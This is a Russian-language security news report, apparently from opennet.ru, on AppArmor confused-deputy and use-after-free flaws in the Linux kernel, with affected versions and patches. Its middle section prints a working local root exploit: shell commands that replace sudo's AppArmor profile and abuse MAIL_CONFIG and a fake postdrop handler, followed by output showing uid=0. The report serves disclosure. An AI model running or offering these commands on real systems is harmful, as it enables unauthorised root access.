Проблемы присутствуют в LSM-модуле AppArmor начиная с ядра Linux 4.11, выпущенного в 2017 году, и проявляются в дистрибутивах, использующих AppArmor, таких как Ubuntu, Debian, openSUSE и SUSE (начиная с openSUSE/SUSE 16 по умолчанию задействован SELinux, но AppArmor оставлен в качестве опции). Патчи с устранением уязвимостей переданы разработчикам ядра Linux и в ближайшие дни будут предложены пользователям в составе обновлений 6.18.18, 6.19.8, 6.12.77, 6.6.130, 6.1.167, 5.15.203 и 5.10.253. Исправление также включено в сегодняшние обновления пакетов с ядром для Ubuntu. Попутно в Ubuntu выпущены обновления пакетов sudo, sudo-ldap и util-linux (в состав входит утилита su), в которых устранены недоработки, позволявшие эксплуатировать уязвимость в AppArmor. В Debian обновление в процессе подготовки.
Проблемы вызваны наличием в AppArmor фундаментальной уязвимости класса «обманутый посредник» («confused-deputy»), позволяющей непривилегированным пользователям загружать, заменять и удалять произвольные профили AppArmor. Данная уязвимость напрямую может использоваться для отключения защиты программ и сервисов от локальных и удалённых атак (через запись псевдофайлов /sys/kernel/security/apparmor/.load, .replace и .remove, например, для снятия ограничений в cupsd и rsyslogd), вызова отказа в обслуживании (через применение запрещающих профилей) и обхода ограничений пространств имён (через загрузку нового AppArmor-профиля «userns», например, для /usr/bin/time, позволяющего создавать неограниченные user namespace).
Возможность замены профилей AppArmor также позволяет добиться получения root-привилегий через привязку к привилегированным утилитам, таким как su и sudo, новых профилей, блокирующих доступ к некоторым системным вызовам. В частности, права root можно получить блокировав операцию setuid (CAP_SETUID) для утилиты sudo в сочетании с манипуляцией переменной окружения MAIL_CONFIG для смены каталога с
настройками для почтового сервера Postfix.
Суть метода в том, что при возникновении проблем утилита sudo отправляет администратору письмо, запуская /usr/sbin/sendmail. Блокировав сброс привилегий можно добиться запуска данного процесса с правами root, а выставив перед запуском sudo переменную окружения MAIL_CONFIG можно передать утилите sendmail другие настройки, в том числе указать свой обработчик postdrop, запускаемый при отправке почты.
$ mkdir /tmp/postfix
$ cat › /tmp/postfix/main.cf ‹‹ "EOF"
command_directory = /tmp/postfix
EOF
$ cat › /tmp/postfix/postdrop ‹‹ "EOF"
#!/bin/sh
/usr/bin/id ›› /tmp/postfix/pwned
EOF
$ chmod -R 0755 /tmp/postfix
$ apparmor_parser -K -o sudo.pf ‹‹ "EOF"
/usr/bin/sudo {
allow file,
allow signal,
allow network,
allow capability,
deny capability setuid,
}
EOF
$ su -P -c 'stty raw && cat sudo.pf' "$USER" › /sys/kernel/security/apparmor/.replace
Password:
$ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever
sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted
sudo: unable to open /etc/sudoers: Operation not permitted
sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted
sudo: error initializing audit plugin sudoers_audit
$ cat /tmp/postfix/pwned
uid=0(root) gid=1001(jane) groups=1001(jane),100(users)
В качестве других способов повышения привилегий упоминаются уязвимости в коде AppArmor, работающем на уровне ядра Linux. Показано как получить права root при помощи уязвимостей, вызванных двойным выполнением функции free() и обращением к уже освобождённой области памяти (use‑after‑free) в коде загрузки и замены профилей AppArmor. Например, AppArmor сохраняет профиль в структуре aa_loaddata, память для которой выделяется в slab-кэше kmalloc-192, при этом из-за состояния гонки не исключено обращение к памяти, которую занимала структура, после её освобождения. Данную проблему можно использовать для получения контроля над освобожденной памятью и перераспределения освобождённой страницы памяти для маппинга содержимого файла /etc/passwd и перезаписи строки с паролем root.
Источник: http://www.opennet.ru/opennews/art.shtml?num=64984
